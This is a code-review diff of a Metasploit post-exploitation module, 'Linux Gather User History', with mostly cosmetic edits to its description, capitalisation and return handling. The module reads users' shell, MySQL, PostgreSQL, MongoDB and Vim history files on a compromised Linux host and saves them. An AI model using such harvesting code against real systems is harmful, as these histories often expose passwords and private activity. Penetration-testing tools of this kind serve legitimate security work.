@@ -13,21 +13,21 @@ class Metasploit3 < Msf::Post
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
16
- 'Name' => 'Linux Gather User History' ,
17
- 'Description' => %q{
18
- This module gathers user specific information.
19
- User shell history, MySQL history, PostgreSQL history,
20
- MongoDB history, vim history, lastlog and sudoers.
21
- } ,
22
- 'License' => MSF_LICENSE ,
23
- 'Author' =>
24
- [
25
- # based largely on get_bash_history function by Stephen Haywood
26
- 'ohdae <bindshell[at]live.com>'
27
- ] ,
28
- 'Platform' => [ 'linux' ] ,
29
- 'SessionTypes' => [ 'shell' , 'meterpreter' ]
30
- ) )
16
+ 'Name' => 'Linux Gather User History' ,
17
+ 'Description' => %q{
18
+ This module gathers the following user- specific information:
19
+ shell history, MySQL history, PostgreSQL history, MongoDB history,
20
+ Vim history, lastlog, and sudoers.
21
+ } ,
22
+ 'License' => MSF_LICENSE ,
23
+ 'Author' =>
24
+ [
25
+ # based largely on get_bash_history function by Stephen Haywood
26
+ 'ohdae <bindshell[at]live.com>'
27
+ ] ,
28
+ 'Platform' => [ 'linux' ] ,
29
+ 'SessionTypes' => [ 'shell' , 'meterpreter' ]
30
+ ) )
31
31
end
32
32
33
33
def run
@@ -42,7 +42,7 @@ def run
42
42
users = [ user ] if user != 'root' || users . blank?
43
43
44
44
vprint_status ( "Retrieving history for #{ users . length } users" )
45
- shells = %w{ ash bash csh ksh sh tcsh zsh }
45
+ shells = %w{ ash bash csh ksh sh tcsh zsh }
46
46
users . each do |u |
47
47
home = get_home_dir ( u )
48
48
shells . each do |shell |
@@ -93,43 +93,42 @@ def get_home_dir(user)
93
93
home = execute ( "echo ~#{ user } " )
94
94
if home . empty?
95
95
if user == 'root'
96
- return '/root'
96
+ home = '/root'
97
97
else
98
- return "/home/#{ user } "
98
+ home = "/home/#{ user } "
99
99
end
100
100
end
101
101
home
102
102
end
103
103
104
104
def get_shell_history ( user , home , shell )
105
- return if shell . nil?
106
105
vprint_status ( "Extracting #{ shell } history for #{ user } " )
107
106
hist = cat_file ( "#{ home } /.#{ shell } _history" )
108
- save ( "#{ shell } History for #{ user } " , hist ) unless hist . blank? || hist =~ /No such file or directory/
107
+ save ( "#{ shell } history for #{ user } " , hist ) unless hist . blank? || hist =~ /No such file or directory/
109
108
end
110
109
111
110
def get_mysql_history ( user , home )
112
111
vprint_status ( "Extracting MySQL history for #{ user } " )
113
112
sql_hist = cat_file ( "#{ home } /.mysql_history" )
114
- save ( "MySQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
113
+ save ( "MySQL history for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
115
114
end
116
115
117
116
def get_psql_history ( user , home )
118
117
vprint_status ( "Extracting PostgreSQL history for #{ user } " )
119
118
sql_hist = cat_file ( "#{ home } /.psql_history" )
120
- save ( "PostgreSQL History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
119
+ save ( "PostgreSQL history for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
121
120
end
122
121
123
122
def get_mongodb_history ( user , home )
124
123
vprint_status ( "Extracting MongoDB history for #{ user } " )
125
124
sql_hist = cat_file ( "#{ home } /.dbshell" )
126
- save ( "MongoDB History for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
125
+ save ( "MongoDB history for #{ user } " , sql_hist ) unless sql_hist . blank? || sql_hist =~ /No such file or directory/
127
126
end
128
127
129
128
def get_vim_history ( user , home )
130
- vprint_status ( "Extracting VIM history for #{ user } " )
129
+ vprint_status ( "Extracting Vim history for #{ user } " )
131
130
vim_hist = cat_file ( "#{ home } /.viminfo" )
132
- save ( "VIM History for #{ user } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
131
+ save ( "Vim history for #{ user } " , vim_hist ) unless vim_hist . blank? || vim_hist =~ /No such file or directory/
133
132
end
134
- end
135
133
134
+ end
0 commit comments